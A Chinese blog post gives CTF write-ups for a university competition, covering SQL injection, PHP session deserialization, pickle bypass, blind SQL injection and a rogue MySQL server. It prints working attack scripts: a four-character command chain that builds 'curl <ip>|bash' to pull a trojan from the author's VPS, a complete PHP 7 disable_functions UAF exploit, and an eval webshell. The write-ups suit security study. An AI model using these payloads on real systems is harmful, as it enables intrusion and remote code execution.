高校战"疫"部分题解

高校战"疫"部分题解

20多所高校联合出题抗“疫”的比赛,排面也是可以的,来感受一下优秀高校的熏陶。🧐

DAY 1

看队友师傅们分享的文章,磕磕碰碰总算也做出了几题

sqlcheckin

考察sql注入

解题

进入题目,可以直接看源码:

<?php 
// ...
$pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
$stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
$stmt->execute();
$result = $stmt->fetchAll();
if (count($result) > 0) {
if ($result[0]['username'] == 'admin') {
include('flag.php');
exit();
// ....

发现又是用的PDO,前段时间刷题,还有赛题都出现了,这怕是一种趋势。

不过这题不难,尝试了一下,一般的万能密码是不好用了,因为or被ban了,但是通过读代码很容易能发现password处存在注入,or不能用了,但是利用减号可以构造一个password=false的语句,这样就不在判断password了,最后利用 admin/1'-'1登录即可拿到flag。

hackme

考察PHP session的反序列化漏洞,主要利用了session.serialize_handler序列化和反序列化采用PHP而导致的漏洞。

题目分析

进入题目,首先登录上发现可以更改sign,应该与管理员权限有关。但是抓包也看不出可利用的点。

然后就扫了后台,真的存在源码!在/www.zip路径下,下载之后又是一番代码审计,在profile.php发现了问题:

<?php
error_reporting(0);
session_save_path('session');
include 'lib.php';
ini_set('session.serialize_handler', 'php');
session_start();

class info
{
public $admin;
public $sign;

public function __construct()
{
$this->admin = $_SESSION['admin'];
$this->sign = $_SESSION['sign'];
}

public function __destruct()
{
echo $this->sign;
if ($this->admin === 1) {
redirect('./core/index.php');
}
}
}

$a = new info();
?>

可以看到,这里session.serialize_handler用的是PHP,而init.php中处理器的设置是php_serialize这样就可以参考前面提到的PHP session的漏洞了。
再往下审计发现这里定义了info类,其中有adminsign属性,并且__destruct()中指明如果admin===1就会定向到/core/index.php,这是个什么文件?去看一下:

<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#变成管理员吧,奥利给
} else {
die('只有管理员才能看到我哟');
}

此处无银三百两了,解题的关键肯定在这,但是这个地方会对$_SESSION进行检查,它又包含什么呢?
upload_sign.php下发现了内容:

<?php
require_once('init.php');

class upload_sign
{
public $sign;
public $admin = 0;

public function __construct()
{
if (isset($_POST['sign'])) {
$this->sign = $_POST['sign'];
} else {
$this->sign = "这里空空如也哦";
}
}

public function upload()
{
if ($this->checksign($this->sign)) {
$_SESSION['sign'] = $this->sign;
$_SESSION['admin'] = $this->admin;
} else {
echo "???";
}
}

public function checksign($sign)
{
return true;
}
}

$a = new upload_sign();
$a->upload();

可以看到,在这里会对$_SESSION中的adminsign属性赋值,从这里我们也就可以对session中的admin进行控制了,参考这里,即在设置sign的页面POST一个键值对,并且变量名与session.upload_progress.name相同,即可在session中写入新的内容。

根据这个思路,我们构造payload:

ggb0n|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}

在修改sign的页面抓包,写入payload:

结果成功设置签名:

现在就是admin权限了,到/core/下发现如下代码:

./sandbox/ed04d2f141bd8a57cc5732b0ccf32456 <?php

require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
    #hint : core/clear.php
    $sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
    echo $sandbox;
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_POST['url'])) {
        $url = $_POST['url'];
        if (filter_var($url, FILTER_VALIDATE_URL)) {
            if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
                echo "you are hacker";
            } else {
                $res = parse_url($url);
                if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
                    $code = file_get_contents($url);
                    if (strlen($code) <= 4) {
                        @exec($code);
                    } else {
                        echo "try again";
                    }
                }
            }
        } else {
            echo "invalid url";
        }
    } else {
        highlight_file(__FILE__);
    }
else {
    die('只有管理员才能看到我哟');
}

可以发现,我们需要利用url进行命令执行,并且data://被ban了,这里想到了ByteCTF一道题的绕过姿势,先放这,url中需要有127.0.0.1才能进一步执行命令,可以参考如何绕过URL限制这篇文章,这里用@来绕过,然后利用compress.zlib://来满足file_get_contents函数的读取,成功过一卡。

'url':'compress.zlib://data:@127.0.0.1/plain;base64,'

正入万山圈子里啊…还要要求执行的命令长度不能超过4…想到了HITCON的一道题,绕过四字符限制getshell,也就是通过把命令拆解成四字符一组来执行命令。

利用命令的执行到VPS上下载木马,然后我们就能拿到shell了!

理一下解题思路

  • 1、利用PHP session的反序列化漏洞成为admin,读取/core/index.php关键代码
  • 2、利用URL绕过姿势绕过对url的限制
  • 3、利用compress.zlib:进行file_get_contents对文件的读取
  • 4、绕过四字符限制getshell

解题

关于解题的第四步还是要好好说一下的,为了下载木马,我把自己的博客都删了…

因为是用curl命令来到VPS上读取木马的代码,因此在VPS上配置好木马文件很重要,做题的时候这里就卡了很久,这一步也需要在本地好好测试,保证木马文件能成功访问。

在VPS上配置好木马文件之后,就可以通过url传参通过四字符执行命令来下载木马,然后浏览器拿shell了。

完整的解题脚本如下:

#encoding=utf-8

import requests
from time import sleep
from urllib import quote
import base64

s = requests.session()
url = "http://121.36.222.22:88/login.php"
s.post(url, data={'name':'ggb0n'})
url1 = "http://121.36.222.22:88/?page=upload"
s.post(url1, data={'sign':'ggb0n|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}'})
url3 = "http://121.36.222.22:88/core/index.php"
s.get(url3)

ip = 'xx.xx.xx.xx'
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in shell_ip.split('.')])

payload = [
# 将 "g> ht- sl" 写到文件 "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
# 将文件"v"中的字符串倒序,放到文件"x",就变成了 "ls -th >g"
'>rev',
'*v>x',
# generate `curl orange.tw.tw|python`
# generate `curl 10.188.2.20|bash`
'>p\ ',
'>ph\\',
'>a.\\',
'>\>\\',
'>%s\\' % ip[8:10],
'>%s\\' % ip[6:8],
'>%s\\' % ip[4:6],
'>%s\\' % ip[2:4],
'>%s\\' % ip[0:2],
'>\ \\',
'>rl\\',
'>cu\\',

# getshell
'sh x',
'sh g',
]

payload_all = 'compress.zlib://data:@127.0.0.1/plain;base64,{0}'
r = requests.get(url3)
for i in payload:
r = requests.post(url3,data={"url":payload_all.format(base64.b64encode(i))})
print r.text
print(data['url'])
sleep(0.5)

下载木马之后,浏览器拿shell:

整理一下参考的文章:
https://www.cnblogs.com/hf99/p/9746038.html
https://xz.aliyun.com/t/6640#toc-10
https://www.anquanke.com/post/id/87203

webtmp

考察pickle的反序列化利用

题目分析

进入题目

可以读源码:

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
except Exception as e:
print(repr(e))
return "Something wrong"

sample_obj = Animal('一给我哩giaogiao', 'Giao')
pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

基于flask的环境,并且采用了pickle

结合题目描述:

Sample animal: Animal(name=’一给我哩giaogiao’, category=’Giao’)

Pickled data: gANjX19tYWluX18KQW5pbWFsCnEAKYFxAX1xAihYBAAAAG5hbWVxA1gUAAAA5LiA57uZ5oiR5ZOpZ2lhb2dpYW9xBFgIAAAAY2F0ZWdvcnlxBVgEAAAAR2lhb3EGdWIu

I will give you the flag if we share the same animal as our favourite.

可知,我们需要构造一个与题目secret中一样的Animal类才能拿到flag,命令执行是不能的,因为R被ban了,我们又不可能知道secret中Animal的属性值。

但是从这篇文章得到了提示:存在b这个指令(call __setstate__ or__dict__.update()),可以更新字典,这样的话我们就可以先覆盖secret中原有的值,然后写入我们构造的键值对到字典中,这样我们就可以再构造Animal类满足题目要求,成功拿到flag了。

参考上面那篇文章的指令集,构造了如下的序列化指令:

c__main__\nsecret\np0\n(dp1\nS'category'\np2\nS'ggb0n'\np3\nsS'name'\np4\nS'ggb0n'\np5\nsb.

注意这里的\n换行符,也是一个巨坑…刚开始在Windows下构造的payload的base64之后提交反馈Somethin wrong,后来经师傅提示说pickle对换行符的\r不能识别…涨知识…

两种方法:

  • 1、字符串对象.replaceAll("\r", "");
  • 2、到Linux中去加密

选择了去Linux中加密:

#注意在Linux下
>>> import base64
>>> s = "c__main__\nsecret\np0\n(dp1\nS'category'\np2\nS'ggb0n'\np3\nsS'name'\np4\nS'ggb0n'\np5\nsb."
>>> a = base64.b64encode(s)
>>> a
'Y19fbWFpbl9fCnNlY3JldApwMAooZHAxClMnY2F0ZWdvcnknCnAyClMnZ2diMG4nCnAzCnNTJ25hbWUnCnA0ClMnZ2diMG4nCnA1CnNiLg=='

然后在本地生成个Animal对象:

import pickle
import base64

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category
def __repr__(self):
return "Animal"
def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
if __name__ == '__main__':
a = Animal('ggb0n','ggb0n')
print(base64.b64encode(pickle.dumps(a)))

现将第一个payload的base64通过输入框提交反序列化执行覆盖字典,然后再提交我们构造的Animal对象的base64,即可拿到flag:

参考文章:
https://www.anquanke.com/post/id/188981#h3-8
http://blog.nsfocus.net/%e7%bb%95%e8%bf%87-restrictedunpickler/

PHP-UAF

考察functions_disable的绕过,上次I春秋公益赛easy_thinking刚遇到的知识点,前两天在CTFHub上也在刷这方面的题。

题目分析

进入题目直接给了小马:

<?php

$sandbox = '/var/www/html/sandbox/' . md5("wdwd" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if (isset($_REQUEST['cmd'])) {
@eval($_REQUEST['cmd']);
}

highlight_file(__FILE__);

先看一下phpinfo

是PHP 7版本的,有一个bypass代码可以用,在这里

然后看一下functions_disable果然ban掉了很多函数:

那么思路就有了:

  • 1、蚁剑连接,上传bypass脚本
  • 2、浏览器访问,获取shell

解题

将如下的bypass脚本上传(上次的bypass脚本用不了…):

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("uname -a");

function pwn($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle(str_repeat('A', 79));
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle(str_repeat('A', 79));

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}
?>

但是web目录没有上传权限…这时候发现web目录下存在sandbox文件夹,这里可以上传,nice!

然后到浏览器访问/sandbox/bypass7x.php,但是一直不能访问…

但是我们有小马呢,用小马包含一下试试

?cmd=include("sandbox/bypass7x.php");

发现成功执行:

然后我们那执行的命令改为/readflag,即可拿到flag:

这题的最后不得不说…搅屎真爽,不过有点可耻。

DAY 2

剩下的题目都是高难度了,就出了半个题…

nweb

考察sql盲注+伪造mysql-server实现任意文件读取,这次是真心体会到,以后盲注脚本还是用ascii码吧,坚决不用字母表了…

题目分析

进入题目,发现可以注册登录,登陆上之后flag页面访问无权限,在评论区看到了如下的提示:

猜测注册账户的时候可能存在问题,重新注册,抓包发现存在type参数,并且被置为0

那这个参数应该就是与等级有关了,后来在注册页面看到提示:

再次抓包更改type=110,登录再次访问flag页,发现可以搜索flag了:

搜索的页面是search.php,注入点肯定就是在这个页面了,参数是flag,经过FUZZ发现,union被ban,selectfrom需要双写绕过,查看搜索的回显发现,语句错误反馈There is no flag,语句正确反馈There is flag!肯定是盲注了,拿上次I春秋战“疫”赛的盲注脚本改了一下:

import requests

url = 'http://121.37.179.47:1001/search.php'
headers = {"Cookie": "PHPSESSID=b2olm04l72i9v25s1orvb28253; username=8837cc3dd80b62a3b5bab3ff2dc91469"}

#payload = "-1' or (ascii(mid((selselectect database()),{0},1))={1})#"
#payload = "-1' or (ascii(mid((selselectect group_concat(table_name) frfromom information_schema.tables where table_schema=database()),{0},1))={1})#"
#payload = "-1' or (ascii(mid((selselectect group_concat(column_name) frfromom information_schema.columns where table_name='admin'),{0},1))={1})#"
payload = "-1' or (ascii(mid((selselectect * frfromom fl4g),{0},1))={1})#"
database = ''

for i in range(1, 80):
for n in range(30,127): #注意这里有时候导致效率很低
data = {
"flag": payload.format(i, n),
}
req = requests.post(url, data=data,headers=headers)
if "There is flag" in req.text:
database += chr(n)
print(database)
break

mysql不区分大小写,就是说如果a不存在,会用A去匹配a…写盲注脚本,如果用字母表的话,这就是个巨坑!还是用ascii码靠谱,不过ascii会匹配较多的字符,爆破速度有时候会很慢,可能因为很多字符请求让服务器500导致的…这一点跑脚本的时候改了半天…还是tcl

跑出库名:ctf-2
表名:adminfl4gjduser
直接到fl4g表跑flag,跑了几次都没有跑出完整的flag:

后来经队友提示,flag可能是分开存放的,数据库可能只有部分flag。于是想到还有admin表可以去查管理员密码,用脚本跑出密码e2ecea8b80a96fb07f43a2f83c8b0960,md5解密一下得到whoamiadmin,拿去用admin/whoamiadmin登录却说用户名或密码错误…半天都不行…睡了睡了

DAY3醒来发现flag已经被队友交了,密码就是那个,应该是环境出问题了…那么再来学习一下。

管理员登录之后:

根据前半部分flag,想到是mysql蜜罐任意读取文件参考这里,参考github上大师傅写的脚本,放在VPS上监听,然后在浏览器填入VPS地址和端口,利用构造的mysql蜜罐进行任意文件读取flag.php,就能拿到完整的flag了。

赛题环境没了,暂时没法复现了,知道原理,回头再试吧。

Comments


:D 一言句子获取中...

Loading...Wait a Minute!